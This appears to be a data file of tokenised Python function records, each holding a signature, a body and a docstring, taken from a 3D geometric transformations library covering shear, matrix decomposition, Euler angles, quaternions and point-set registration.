{"signature": "def shear_matrix(angle, direction, point, normal):", "body": "normal = unit_vector(normal[:<NUM_LIT:3>])<EOL>direction = unit_vector(direction[:<NUM_LIT:3>])<EOL>if abs(numpy.dot(normal, direction)) > <NUM_LIT>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>angle = math.tan(angle)<EOL>M = numpy.identity(<NUM_LIT:4>)<EOL>M[:<NUM_LIT:3>, :<NUM_LIT:3>] += angle * numpy.outer(direction, normal)<EOL>M[:<NUM_LIT:3>, <NUM_LIT:3>] = -angle * numpy.dot(point[:<NUM_LIT:3>], normal) * direction<EOL>return M<EOL>", "docstring": "Return matrix to shear by angle along direction vector on shear plane.\n\n    The shear plane is defined by a point and normal vector. The direction\n    vector must be orthogonal to the plane's normal vector.\n\n    A point P is transformed by the shear matrix into P\" such that\n    the vector P-P\" is parallel to the direction vector and its extent is\n    given by the angle of P-P'-P\", where P' is the orthogonal projection\n    of P onto the shear plane.\n\n    >>> angle = (random.random() - 0.5) * 4*math.pi\n    >>> direct = numpy.random.random(3) - 0.5\n    >>> point = numpy.random.random(3) - 0.5\n    >>> normal = numpy.cross(direct, numpy.random.random(3))\n    >>> S = shear_matrix(angle, direct, point, normal)\n    >>> numpy.allclose(1, numpy.linalg.det(S))\n    True", "id": "f15133:m12"}
{"signature": "def shear_from_matrix(matrix):", "body": "M = numpy.array(matrix, dtype=numpy.float64, copy=False)<EOL>M33 = M[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>w, V = numpy.linalg.eig(M33)<EOL>i = numpy.where(abs(numpy.real(w) - <NUM_LIT:1.0>) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if len(i) < <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % w)<EOL><DEDENT>V = numpy.real(V[:, i]).squeeze().T<EOL>lenorm = -<NUM_LIT:1.0><EOL>for i0, i1 in ((<NUM_LIT:0>, <NUM_LIT:1>), (<NUM_LIT:0>, <NUM_LIT:2>), (<NUM_LIT:1>, <NUM_LIT:2>)):<EOL><INDENT>n = numpy.cross(V[i0], V[i1])<EOL>w = vector_norm(n)<EOL>if w > lenorm:<EOL><INDENT>lenorm = w<EOL>normal = n<EOL><DEDENT><DEDENT>normal /= lenorm<EOL>direction = numpy.dot(M33 - numpy.identity(<NUM_LIT:3>), normal)<EOL>angle = vector_norm(direction)<EOL>direction /= angle<EOL>angle = math.atan(angle)<EOL>w, V = numpy.linalg.eig(M)<EOL>i = numpy.where(abs(numpy.real(w) - <NUM_LIT:1.0>) < <NUM_LIT>)[<NUM_LIT:0>]<EOL>if not len(i):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>point = numpy.real(V[:, i[-<NUM_LIT:1>]]).squeeze()<EOL>point /= point[<NUM_LIT:3>]<EOL>return angle, direction, point, normal<EOL>", "docstring": "Return shear angle, direction and plane from shear matrix.\n\n    >>> angle = (random.random() - 0.5) * 4*math.pi\n    >>> direct = numpy.random.random(3) - 0.5\n    >>> point = numpy.random.random(3) - 0.5\n    >>> normal = numpy.cross(direct, numpy.random.random(3))\n    >>> S0 = shear_matrix(angle, direct, point, normal)\n    >>> angle, direct, point, normal = shear_from_matrix(S0)\n    >>> S1 = shear_matrix(angle, direct, point, normal)\n    >>> is_same_transform(S0, S1)\n    True", "id": "f15133:m13"}
{"signature": "def decompose_matrix(matrix):", "body": "M = numpy.array(matrix, dtype=numpy.float64, copy=True).T<EOL>if abs(M[<NUM_LIT:3>, <NUM_LIT:3>]) < _EPS:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>M /= M[<NUM_LIT:3>, <NUM_LIT:3>]<EOL>P = M.copy()<EOL>P[:, <NUM_LIT:3>] = <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0><EOL>if not numpy.linalg.det(P):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>scale = numpy.zeros((<NUM_LIT:3>, ))<EOL>shear = [<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>]<EOL>angles = [<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>]<EOL>if any(abs(M[:<NUM_LIT:3>, <NUM_LIT:3>]) > _EPS):<EOL><INDENT>perspective = numpy.dot(M[:, <NUM_LIT:3>], numpy.linalg.inv(P.T))<EOL>M[:, <NUM_LIT:3>] = <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0><EOL><DEDENT>else:<EOL><INDENT>perspective = numpy.array([<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>])<EOL><DEDENT>translate = M[<NUM_LIT:3>, :<NUM_LIT:3>].copy()<EOL>M[<NUM_LIT:3>, :<NUM_LIT:3>] = <NUM_LIT:0.0><EOL>row = M[:<NUM_LIT:3>, :<NUM_LIT:3>].copy()<EOL>scale[<NUM_LIT:0>] = vector_norm(row[<NUM_LIT:0>])<EOL>row[<NUM_LIT:0>] /= scale[<NUM_LIT:0>]<EOL>shear[<NUM_LIT:0>] = numpy.dot(row[<NUM_LIT:0>], row[<NUM_LIT:1>])<EOL>row[<NUM_LIT:1>] -= row[<NUM_LIT:0>] * shear[<NUM_LIT:0>]<EOL>scale[<NUM_LIT:1>] = vector_norm(row[<NUM_LIT:1>])<EOL>row[<NUM_LIT:1>] /= scale[<NUM_LIT:1>]<EOL>shear[<NUM_LIT:0>] /= scale[<NUM_LIT:1>]<EOL>shear[<NUM_LIT:1>] = numpy.dot(row[<NUM_LIT:0>], row[<NUM_LIT:2>])<EOL>row[<NUM_LIT:2>] -= row[<NUM_LIT:0>] * shear[<NUM_LIT:1>]<EOL>shear[<NUM_LIT:2>] = numpy.dot(row[<NUM_LIT:1>], row[<NUM_LIT:2>])<EOL>row[<NUM_LIT:2>] -= row[<NUM_LIT:1>] * shear[<NUM_LIT:2>]<EOL>scale[<NUM_LIT:2>] = vector_norm(row[<NUM_LIT:2>])<EOL>row[<NUM_LIT:2>] /= scale[<NUM_LIT:2>]<EOL>shear[<NUM_LIT:1>:] /= scale[<NUM_LIT:2>]<EOL>if numpy.dot(row[<NUM_LIT:0>], numpy.cross(row[<NUM_LIT:1>], row[<NUM_LIT:2>])) < <NUM_LIT:0>:<EOL><INDENT>numpy.negative(scale, scale)<EOL>numpy.negative(row, row)<EOL><DEDENT>angles[<NUM_LIT:1>] = math.asin(-row[<NUM_LIT:0>, <NUM_LIT:2>])<EOL>if math.cos(angles[<NUM_LIT:1>]):<EOL><INDENT>angles[<NUM_LIT:0>] = math.atan2(row[<NUM_LIT:1>, <NUM_LIT:2>], row[<NUM_LIT:2>, <NUM_LIT:2>])<EOL>angles[<NUM_LIT:2>] = math.atan2(row[<NUM_LIT:0>, <NUM_LIT:1>], row[<NUM_LIT:0>, <NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>angles[<NUM_LIT:0>] = math.atan2(-row[<NUM_LIT:2>, <NUM_LIT:1>], row[<NUM_LIT:1>, <NUM_LIT:1>])<EOL>angles[<NUM_LIT:2>] = <NUM_LIT:0.0><EOL><DEDENT>return scale, shear, angles, translate, perspective<EOL>", "docstring": "Return sequence of transformations from transformation matrix.\n\n    matrix : array_like\n        Non-degenerative homogeneous transformation matrix\n\n    Return tuple of:\n        scale : vector of 3 scaling factors\n        shear : list of shear factors for x-y, x-z, y-z axes\n        angles : list of Euler angles about static x, y, z axes\n        translate : translation vector along x, y, z axes\n        perspective : perspective partition of matrix\n\n    Raise ValueError if matrix is of wrong type or degenerative.\n\n    >>> T0 = translation_matrix([1, 2, 3])\n    >>> scale, shear, angles, trans, persp = decompose_matrix(T0)\n    >>> T1 = translation_matrix(trans)\n    >>> numpy.allclose(T0, T1)\n    True\n    >>> S = scale_matrix(0.123)\n    >>> scale, shear, angles, trans, persp = decompose_matrix(S)\n    >>> scale[0]\n    0.123\n    >>> R0 = euler_matrix(1, 2, 3)\n    >>> scale, shear, angles, trans, persp = decompose_matrix(R0)\n    >>> R1 = euler_matrix(*angles)\n    >>> numpy.allclose(R0, R1)\n    True", "id": "f15133:m14"}
{"signature": "def compose_matrix(scale=None, shear=None, angles=None, translate=None,<EOL>perspective=None):", "body": "M = numpy.identity(<NUM_LIT:4>)<EOL>if perspective is not None:<EOL><INDENT>P = numpy.identity(<NUM_LIT:4>)<EOL>P[<NUM_LIT:3>, :] = perspective[:<NUM_LIT:4>]<EOL>M = numpy.dot(M, P)<EOL><DEDENT>if translate is not None:<EOL><INDENT>T = numpy.identity(<NUM_LIT:4>)<EOL>T[:<NUM_LIT:3>, <NUM_LIT:3>] = translate[:<NUM_LIT:3>]<EOL>M = numpy.dot(M, T)<EOL><DEDENT>if angles is not None:<EOL><INDENT>R = euler_matrix(angles[<NUM_LIT:0>], angles[<NUM_LIT:1>], angles[<NUM_LIT:2>], '<STR_LIT>')<EOL>M = numpy.dot(M, R)<EOL><DEDENT>if shear is not None:<EOL><INDENT>Z = numpy.identity(<NUM_LIT:4>)<EOL>Z[<NUM_LIT:1>, <NUM_LIT:2>] = shear[<NUM_LIT:2>]<EOL>Z[<NUM_LIT:0>, <NUM_LIT:2>] = shear[<NUM_LIT:1>]<EOL>Z[<NUM_LIT:0>, <NUM_LIT:1>] = shear[<NUM_LIT:0>]<EOL>M = numpy.dot(M, Z)<EOL><DEDENT>if scale is not None:<EOL><INDENT>S = numpy.identity(<NUM_LIT:4>)<EOL>S[<NUM_LIT:0>, <NUM_LIT:0>] = scale[<NUM_LIT:0>]<EOL>S[<NUM_LIT:1>, <NUM_LIT:1>] = scale[<NUM_LIT:1>]<EOL>S[<NUM_LIT:2>, <NUM_LIT:2>] = scale[<NUM_LIT:2>]<EOL>M = numpy.dot(M, S)<EOL><DEDENT>M /= M[<NUM_LIT:3>, <NUM_LIT:3>]<EOL>return M<EOL>", "docstring": "Return transformation matrix from sequence of transformations.\n\n    This is the inverse of the decompose_matrix function.\n\n    Sequence of transformations:\n        scale : vector of 3 scaling factors\n        shear : list of shear factors for x-y, x-z, y-z axes\n        angles : list of Euler angles about static x, y, z axes\n        translate : translation vector along x, y, z axes\n        perspective : perspective partition of matrix\n\n    >>> scale = numpy.random.random(3) - 0.5\n    >>> shear = numpy.random.random(3) - 0.5\n    >>> angles = (numpy.random.random(3) - 0.5) * (2*math.pi)\n    >>> trans = numpy.random.random(3) - 0.5\n    >>> persp = numpy.random.random(4) - 0.5\n    >>> M0 = compose_matrix(scale, shear, angles, trans, persp)\n    >>> result = decompose_matrix(M0)\n    >>> M1 = compose_matrix(*result)\n    >>> is_same_transform(M0, M1)\n    True", "id": "f15133:m15"}
{"signature": "def orthogonalization_matrix(lengths, angles):", "body": "a, b, c = lengths<EOL>angles = numpy.radians(angles)<EOL>sina, sinb, _ = numpy.sin(angles)<EOL>cosa, cosb, cosg = numpy.cos(angles)<EOL>co = (cosa * cosb - cosg) / (sina * sinb)<EOL>return numpy.array([<EOL>[ a*sinb*math.sqrt(<NUM_LIT:1.0>-co*co),  <NUM_LIT:0.0>,    <NUM_LIT:0.0>, <NUM_LIT:0.0>],<EOL>[-a*sinb*co,                    b*sina, <NUM_LIT:0.0>, <NUM_LIT:0.0>],<EOL>[ a*cosb,                       b*cosa, c,   <NUM_LIT:0.0>],<EOL>[ <NUM_LIT:0.0>,                          <NUM_LIT:0.0>,    <NUM_LIT:0.0>, <NUM_LIT:1.0>]])<EOL>", "docstring": "Return orthogonalization matrix for crystallographic cell coordinates.\n\n    Angles are expected in degrees.\n\n    The de-orthogonalization matrix is the inverse.\n\n    >>> O = orthogonalization_matrix([10, 10, 10], [90, 90, 90])\n    >>> numpy.allclose(O[:3, :3], numpy.identity(3, float) * 10)\n    True\n    >>> O = orthogonalization_matrix([9.8, 12.0, 15.5], [87.2, 80.7, 69.7])\n    >>> numpy.allclose(numpy.sum(O), 43.063229)\n    True", "id": "f15133:m16"}
{"signature": "def affine_matrix_from_points(v0, v1, shear=True, scale=True, usesvd=True):", "body": "v0 = numpy.array(v0, dtype=numpy.float64, copy=True)<EOL>v1 = numpy.array(v1, dtype=numpy.float64, copy=True)<EOL>ndims = v0.shape[<NUM_LIT:0>]<EOL>if ndims < <NUM_LIT:2> or v0.shape[<NUM_LIT:1>] < ndims or v0.shape != v1.shape:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>t0 = -numpy.mean(v0, axis=<NUM_LIT:1>)<EOL>M0 = numpy.identity(ndims+<NUM_LIT:1>)<EOL>M0[:ndims, ndims] = t0<EOL>v0 += t0.reshape(ndims, <NUM_LIT:1>)<EOL>t1 = -numpy.mean(v1, axis=<NUM_LIT:1>)<EOL>M1 = numpy.identity(ndims+<NUM_LIT:1>)<EOL>M1[:ndims, ndims] = t1<EOL>v1 += t1.reshape(ndims, <NUM_LIT:1>)<EOL>if shear:<EOL><INDENT>A = numpy.concatenate((v0, v1), axis=<NUM_LIT:0>)<EOL>u, s, vh = numpy.linalg.svd(A.T)<EOL>vh = vh[:ndims].T<EOL>B = vh[:ndims]<EOL>C = vh[ndims:<NUM_LIT:2>*ndims]<EOL>t = numpy.dot(C, numpy.linalg.pinv(B))<EOL>t = numpy.concatenate((t, numpy.zeros((ndims, <NUM_LIT:1>))), axis=<NUM_LIT:1>)<EOL>M = numpy.vstack((t, ((<NUM_LIT:0.0>,)*ndims) + (<NUM_LIT:1.0>,)))<EOL><DEDENT>elif usesvd or ndims != <NUM_LIT:3>:<EOL><INDENT>u, s, vh = numpy.linalg.svd(numpy.dot(v1, v0.T))<EOL>R = numpy.dot(u, vh)<EOL>if numpy.linalg.det(R) < <NUM_LIT:0.0>:<EOL><INDENT>R -= numpy.outer(u[:, ndims-<NUM_LIT:1>], vh[ndims-<NUM_LIT:1>, :]*<NUM_LIT>)<EOL>s[-<NUM_LIT:1>] *= -<NUM_LIT:1.0><EOL><DEDENT>M = numpy.identity(ndims+<NUM_LIT:1>)<EOL>M[:ndims, :ndims] = R<EOL><DEDENT>else:<EOL><INDENT>xx, yy, zz = numpy.sum(v0 * v1, axis=<NUM_LIT:1>)<EOL>xy, yz, zx = numpy.sum(v0 * numpy.roll(v1, -<NUM_LIT:1>, axis=<NUM_LIT:0>), axis=<NUM_LIT:1>)<EOL>xz, yx, zy = numpy.sum(v0 * numpy.roll(v1, -<NUM_LIT:2>, axis=<NUM_LIT:0>), axis=<NUM_LIT:1>)<EOL>N = [[xx+yy+zz, <NUM_LIT:0.0>,      <NUM_LIT:0.0>,      <NUM_LIT:0.0>],<EOL>[yz-zy,    xx-yy-zz, <NUM_LIT:0.0>,      <NUM_LIT:0.0>],<EOL>[zx-xz,    xy+yx,    yy-xx-zz, <NUM_LIT:0.0>],<EOL>[xy-yx,    zx+xz,    yz+zy,    zz-xx-yy]]<EOL>w, V = numpy.linalg.eigh(N)<EOL>q = V[:, numpy.argmax(w)]<EOL>q /= vector_norm(q)  <EOL>M = quaternion_matrix(q)<EOL><DEDENT>if scale and not shear:<EOL><INDENT>v0 *= v0<EOL>v1 *= v1<EOL>M[:ndims, :ndims] *= math.sqrt(numpy.sum(v1) / numpy.sum(v0))<EOL><DEDENT>M = numpy.dot(numpy.linalg.inv(M1), numpy.dot(M, M0))<EOL>M /= M[ndims, ndims]<EOL>return M<EOL>", "docstring": "Return affine transform matrix to register two point sets.\n\n    v0 and v1 are shape (ndims, *) arrays of at least ndims non-homogeneous\n    coordinates, where ndims is the dimensionality of the coordinate space.\n\n    If shear is False, a similarity transformation matrix is returned.\n    If also scale is False, a rigid/Euclidean transformation matrix\n    is returned.\n\n    By default the algorithm by Hartley and Zissermann [15] is used.\n    If usesvd is True, similarity and Euclidean transformation matrices\n    are calculated by minimizing the weighted sum of squared deviations\n    (RMSD) according to the algorithm by Kabsch [8].\n    Otherwise, and if ndims is 3, the quaternion based algorithm by Horn [9]\n    is used, which is slower when using this Python implementation.\n\n    The returned matrix performs rotation, translation and uniform scaling\n    (if specified).\n\n    >>> v0 = [[0, 1031, 1031, 0], [0, 0, 1600, 1600]]\n    >>> v1 = [[675, 826, 826, 677], [55, 52, 281, 277]]\n    >>> affine_matrix_from_points(v0, v1)\n    array([[   0.14549,    0.00062,  675.50008],\n           [   0.00048,    0.14094,   53.24971],\n           [   0.     ,    0.     ,    1.     ]])\n    >>> T = translation_matrix(numpy.random.random(3)-0.5)\n    >>> R = random_rotation_matrix(numpy.random.random(3))\n    >>> S = scale_matrix(random.random())\n    >>> M = concatenate_matrices(T, R, S)\n    >>> v0 = (numpy.random.rand(4, 100) - 0.5) * 20\n    >>> v0[3] = 1\n    >>> v1 = numpy.dot(M, v0)\n    >>> v0[:3] += numpy.random.normal(0, 1e-8, 300).reshape(3, -1)\n    >>> M = affine_matrix_from_points(v0[:3], v1[:3])\n    >>> numpy.allclose(v1, numpy.dot(M, v0))\n    True\n\n    More examples in superimposition_matrix()", "id": "f15133:m17"}
{"signature": "def superimposition_matrix(v0, v1, scale=False, usesvd=True):", "body": "v0 = numpy.array(v0, dtype=numpy.float64, copy=False)[:<NUM_LIT:3>]<EOL>v1 = numpy.array(v1, dtype=numpy.float64, copy=False)[:<NUM_LIT:3>]<EOL>return affine_matrix_from_points(v0, v1, shear=False,<EOL>scale=scale, usesvd=usesvd)<EOL>", "docstring": "Return matrix to transform given 3D point set into second point set.\n\n    v0 and v1 are shape (3, *) or (4, *) arrays of at least 3 points.\n\n    The parameters scale and usesvd are explained in the more general\n    affine_matrix_from_points function.\n\n    The returned matrix is a similarity or Euclidean transformation matrix.\n    This function has a fast C implementation in transformations.c.\n\n    >>> v0 = numpy.random.rand(3, 10)\n    >>> M = superimposition_matrix(v0, v0)\n    >>> numpy.allclose(M, numpy.identity(4))\n    True\n    >>> R = random_rotation_matrix(numpy.random.random(3))\n    >>> v0 = [[1,0,0], [0,1,0], [0,0,1], [1,1,1]]\n    >>> v1 = numpy.dot(R, v0)\n    >>> M = superimposition_matrix(v0, v1)\n    >>> numpy.allclose(v1, numpy.dot(M, v0))\n    True\n    >>> v0 = (numpy.random.rand(4, 100) - 0.5) * 20\n    >>> v0[3] = 1\n    >>> v1 = numpy.dot(R, v0)\n    >>> M = superimposition_matrix(v0, v1)\n    >>> numpy.allclose(v1, numpy.dot(M, v0))\n    True\n    >>> S = scale_matrix(random.random())\n    >>> T = translation_matrix(numpy.random.random(3)-0.5)\n    >>> M = concatenate_matrices(T, R, S)\n    >>> v1 = numpy.dot(M, v0)\n    >>> v0[:3] += numpy.random.normal(0, 1e-9, 300).reshape(3, -1)\n    >>> M = superimposition_matrix(v0, v1, scale=True)\n    >>> numpy.allclose(v1, numpy.dot(M, v0))\n    True\n    >>> M = superimposition_matrix(v0, v1, scale=True, usesvd=False)\n    >>> numpy.allclose(v1, numpy.dot(M, v0))\n    True\n    >>> v = numpy.empty((4, 100, 3))\n    >>> v[:, :, 0] = v0\n    >>> M = superimposition_matrix(v0, v1, scale=True, usesvd=False)\n    >>> numpy.allclose(v1, numpy.dot(M, v[:, :, 0]))\n    True", "id": "f15133:m18"}
{"signature": "def euler_matrix(ai, aj, ak, axes='<STR_LIT>'):", "body": "try:<EOL><INDENT>firstaxis, parity, repetition, frame = _AXES2TUPLE[axes]<EOL><DEDENT>except (AttributeError, KeyError):<EOL><INDENT>_TUPLE2AXES[axes]  <EOL>firstaxis, parity, repetition, frame = axes<EOL><DEDENT>i = firstaxis<EOL>j = _NEXT_AXIS[i+parity]<EOL>k = _NEXT_AXIS[i-parity+<NUM_LIT:1>]<EOL>if frame:<EOL><INDENT>ai, ak = ak, ai<EOL><DEDENT>if parity:<EOL><INDENT>ai, aj, ak = -ai, -aj, -ak<EOL><DEDENT>si, sj, sk = math.sin(ai), math.sin(aj), math.sin(ak)<EOL>ci, cj, ck = math.cos(ai), math.cos(aj), math.cos(ak)<EOL>cc, cs = ci*ck, ci*sk<EOL>sc, ss = si*ck, si*sk<EOL>M = numpy.identity(<NUM_LIT:4>)<EOL>if repetition:<EOL><INDENT>M[i, i] = cj<EOL>M[i, j] = sj*si<EOL>M[i, k] = sj*ci<EOL>M[j, i] = sj*sk<EOL>M[j, j] = -cj*ss+cc<EOL>M[j, k] = -cj*cs-sc<EOL>M[k, i] = -sj*ck<EOL>M[k, j] = cj*sc+cs<EOL>M[k, k] = cj*cc-ss<EOL><DEDENT>else:<EOL><INDENT>M[i, i] = cj*ck<EOL>M[i, j] = sj*sc-cs<EOL>M[i, k] = sj*cc+ss<EOL>M[j, i] = cj*sk<EOL>M[j, j] = sj*ss+cc<EOL>M[j, k] = sj*cs-sc<EOL>M[k, i] = -sj<EOL>M[k, j] = cj*si<EOL>M[k, k] = cj*ci<EOL><DEDENT>return M<EOL>", "docstring": "Return homogeneous rotation matrix from Euler angles and axis sequence.\n\n    ai, aj, ak : Euler's roll, pitch and yaw angles\n    axes : One of 24 axis sequences as string or encoded tuple\n\n    >>> R = euler_matrix(1, 2, 3, 'syxz')\n    >>> numpy.allclose(numpy.sum(R[0]), -1.34786452)\n    True\n    >>> R = euler_matrix(1, 2, 3, (0, 1, 0, 1))\n    >>> numpy.allclose(numpy.sum(R[0]), -0.383436184)\n    True\n    >>> ai, aj, ak = (4*math.pi) * (numpy.random.random(3) - 0.5)\n    >>> for axes in _AXES2TUPLE.keys():\n    ...    R = euler_matrix(ai, aj, ak, axes)\n    >>> for axes in _TUPLE2AXES.keys():\n    ...    R = euler_matrix(ai, aj, ak, axes)", "id": "f15133:m19"}
{"signature": "def euler_from_matrix(matrix, axes='<STR_LIT>'):", "body": "try:<EOL><INDENT>firstaxis, parity, repetition, frame = _AXES2TUPLE[axes.lower()]<EOL><DEDENT>except (AttributeError, KeyError):<EOL><INDENT>_TUPLE2AXES[axes]  <EOL>firstaxis, parity, repetition, frame = axes<EOL><DEDENT>i = firstaxis<EOL>j = _NEXT_AXIS[i+parity]<EOL>k = _NEXT_AXIS[i-parity+<NUM_LIT:1>]<EOL>M = numpy.array(matrix, dtype=numpy.float64, copy=False)[:<NUM_LIT:3>, :<NUM_LIT:3>]<EOL>if repetition:<EOL><INDENT>sy = math.sqrt(M[i, j]*M[i, j] + M[i, k]*M[i, k])<EOL>if sy > _EPS:<EOL><INDENT>ax = math.atan2( M[i, j],  M[i, k])<EOL>ay = math.atan2( sy,       M[i, i])<EOL>az = math.atan2( M[j, i], -M[k, i])<EOL><DEDENT>else:<EOL><INDENT>ax = math.atan2(-M[j, k],  M[j, j])<EOL>ay = math.atan2( sy,       M[i, i])<EOL>az = <NUM_LIT:0.0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>cy = math.sqrt(M[i, i]*M[i, i] + M[j, i]*M[j, i])<EOL>if cy > _EPS:<EOL><INDENT>ax = math.atan2( M[k, j],  M[k, k])<EOL>ay = math.atan2(-M[k, i],  cy)<EOL>az = math.atan2( M[j, i],  M[i, i])<EOL><DEDENT>else:<EOL><INDENT>ax = math.atan2(-M[j, k],  M[j, j])<EOL>ay = math.atan2(-M[k, i],  cy)<EOL>az = <NUM_LIT:0.0><EOL><DEDENT><DEDENT>if parity:<EOL><INDENT>ax, ay, az = -ax, -ay, -az<EOL><DEDENT>if frame:<EOL><INDENT>ax, az = az, ax<EOL><DEDENT>return ax, ay, az<EOL>", "docstring": "Return Euler angles from rotation matrix for specified axis sequence.\n\n    axes : One of 24 axis sequences as string or encoded tuple\n\n    Note that many Euler angle triplets can describe one matrix.\n\n    >>> R0 = euler_matrix(1, 2, 3, 'syxz')\n    >>> al, be, ga = euler_from_matrix(R0, 'syxz')\n    >>> R1 = euler_matrix(al, be, ga, 'syxz')\n    >>> numpy.allclose(R0, R1)\n    True\n    >>> angles = (4*math.pi) * (numpy.random.random(3) - 0.5)\n    >>> for axes in _AXES2TUPLE.keys():\n    ...    R0 = euler_matrix(axes=axes, *angles)\n    ...    R1 = euler_matrix(axes=axes, *euler_from_matrix(R0, axes))\n    ...    if not numpy.allclose(R0, R1): print(axes, \"failed\")", "id": "f15133:m20"}
{"signature": "def euler_from_quaternion(quaternion, axes='<STR_LIT>'):", "body": "return euler_from_matrix(quaternion_matrix(quaternion), axes)<EOL>", "docstring": "Return Euler angles from quaternion for specified axis sequence.\n\n    >>> angles = euler_from_quaternion([0.99810947, 0.06146124, 0, 0])\n    >>> numpy.allclose(angles, [0.123, 0, 0])\n    True", "id": "f15133:m21"}
{"signature": "def quaternion_from_euler(ai, aj, ak, axes='<STR_LIT>'):", "body": "try:<EOL><INDENT>firstaxis, parity, repetition, frame = _AXES2TUPLE[axes.lower()]<EOL><DEDENT>except (AttributeError, KeyError):<EOL><INDENT>_TUPLE2AXES[axes]  <EOL>firstaxis, parity, repetition, frame = axes<EOL><DEDENT>i = firstaxis + <NUM_LIT:1><EOL>j = _NEXT_AXIS[i+parity-<NUM_LIT:1>] + <NUM_LIT:1><EOL>k = _NEXT_AXIS[i-parity] + <NUM_LIT:1><EOL>if frame:<EOL><INDENT>ai, ak = ak, ai<EOL><DEDENT>if parity:<EOL><INDENT>aj = -aj<EOL><DEDENT>ai /= <NUM_LIT><EOL>aj /= <NUM_LIT><EOL>ak /= <NUM_LIT><EOL>ci = math.cos(ai)<EOL>si = math.sin(ai)<EOL>cj = math.cos(aj)<EOL>sj = math.sin(aj)<EOL>ck = math.cos(ak)<EOL>sk = math.sin(ak)<EOL>cc = ci*ck<EOL>cs = ci*sk<EOL>sc = si*ck<EOL>ss = si*sk<EOL>q = numpy.empty((<NUM_LIT:4>, ))<EOL>if repetition:<EOL><INDENT>q[<NUM_LIT:0>] = cj*(cc - ss)<EOL>q[i] = cj*(cs + sc)<EOL>q[j] = sj*(cc + ss)<EOL>q[k] = sj*(cs - sc)<EOL><DEDENT>else:<EOL><INDENT>q[<NUM_LIT:0>] = cj*cc + sj*ss<EOL>q[i] = cj*sc - sj*cs<EOL>q[j] = cj*ss + sj*cc<EOL>q[k] = cj*cs - sj*sc<EOL><DEDENT>if parity:<EOL><INDENT>q[j] *= -<NUM_LIT:1.0><EOL><DEDENT>return q<EOL>", "docstring": "Return quaternion from Euler angles and axis sequence.\n\n    ai, aj, ak : Euler's roll, pitch and yaw angles\n    axes : One of 24 axis sequences as string or encoded tuple\n\n    >>> q = quaternion_from_euler(1, 2, 3, 'ryxz')\n    >>> numpy.allclose(q, [0.435953, 0.310622, -0.718287, 0.444435])\n    True", "id": "f15133:m22"}
{"signature": "def quaternion_about_axis(angle, axis):", "body": "q = numpy.array([<NUM_LIT:0.0>, axis[<NUM_LIT:0>], axis[<NUM_LIT:1>], axis[<NUM_LIT:2>]])<EOL>qlen = vector_norm(q)<EOL>if qlen > _EPS:<EOL><INDENT>q *= math.sin(angle/<NUM_LIT>) / qlen<EOL><DEDENT>q[<NUM_LIT:0>] = math.cos(angle/<NUM_LIT>)<EOL>return q<EOL>", "docstring": "Return quaternion for rotation about axis.\n\n    >>> q = quaternion_about_axis(0.123, [1, 0, 0])\n    >>> numpy.allclose(q, [0.99810947, 0.06146124, 0, 0])\n    True", "id": "f15133:m23"}
{"signature": "def quaternion_matrix(quaternion):", "body": "q = numpy.array(quaternion, dtype=numpy.float64, copy=True)<EOL>n = numpy.dot(q, q)<EOL>if n < _EPS:<EOL><INDENT>return numpy.identity(<NUM_LIT:4>)<EOL><DEDENT>q *= math.sqrt(<NUM_LIT> / n)<EOL>q = numpy.outer(q, q)<EOL>return numpy.array([<EOL>[<NUM_LIT:1.0>-q[<NUM_LIT:2>, <NUM_LIT:2>]-q[<NUM_LIT:3>, <NUM_LIT:3>],     q[<NUM_LIT:1>, <NUM_LIT:2>]-q[<NUM_LIT:3>, <NUM_LIT:0>],     q[<NUM_LIT:1>, <NUM_LIT:3>]+q[<NUM_LIT:2>, <NUM_LIT:0>], <NUM_LIT:0.0>],<EOL>[    q[<NUM_LIT:1>, <NUM_LIT:2>]+q[<NUM_LIT:3>, <NUM_LIT:0>], <NUM_LIT:1.0>-q[<NUM_LIT:1>, <NUM_LIT:1>]-q[<NUM_LIT:3>, <NUM_LIT:3>],     q[<NUM_LIT:2>, <NUM_LIT:3>]-q[<NUM_LIT:1>, <NUM_LIT:0>], <NUM_LIT:0.0>],<EOL>[    q[<NUM_LIT:1>, <NUM_LIT:3>]-q[<NUM_LIT:2>, <NUM_LIT:0>],     q[<NUM_LIT:2>, <NUM_LIT:3>]+q[<NUM_LIT:1>, <NUM_LIT:0>], <NUM_LIT:1.0>-q[<NUM_LIT:1>, <NUM_LIT:1>]-q[<NUM_LIT:2>, <NUM_LIT:2>], <NUM_LIT:0.0>],<EOL>[                <NUM_LIT:0.0>,                 <NUM_LIT:0.0>,                 <NUM_LIT:0.0>, <NUM_LIT:1.0>]])<EOL>", "docstring": "Return homogeneous rotation matrix from quaternion.\n\n    >>> M = quaternion_matrix([0.99810947, 0.06146124, 0, 0])\n    >>> numpy.allclose(M, rotation_matrix(0.123, [1, 0, 0]))\n    True\n    >>> M = quaternion_matrix([1, 0, 0, 0])\n    >>> numpy.allclose(M, numpy.identity(4))\n    True\n    >>> M = quaternion_matrix([0, 1, 0, 0])\n    >>> numpy.allclose(M, numpy.diag([1, -1, -1, 1]))\n    True", "id": "f15133:m24"}
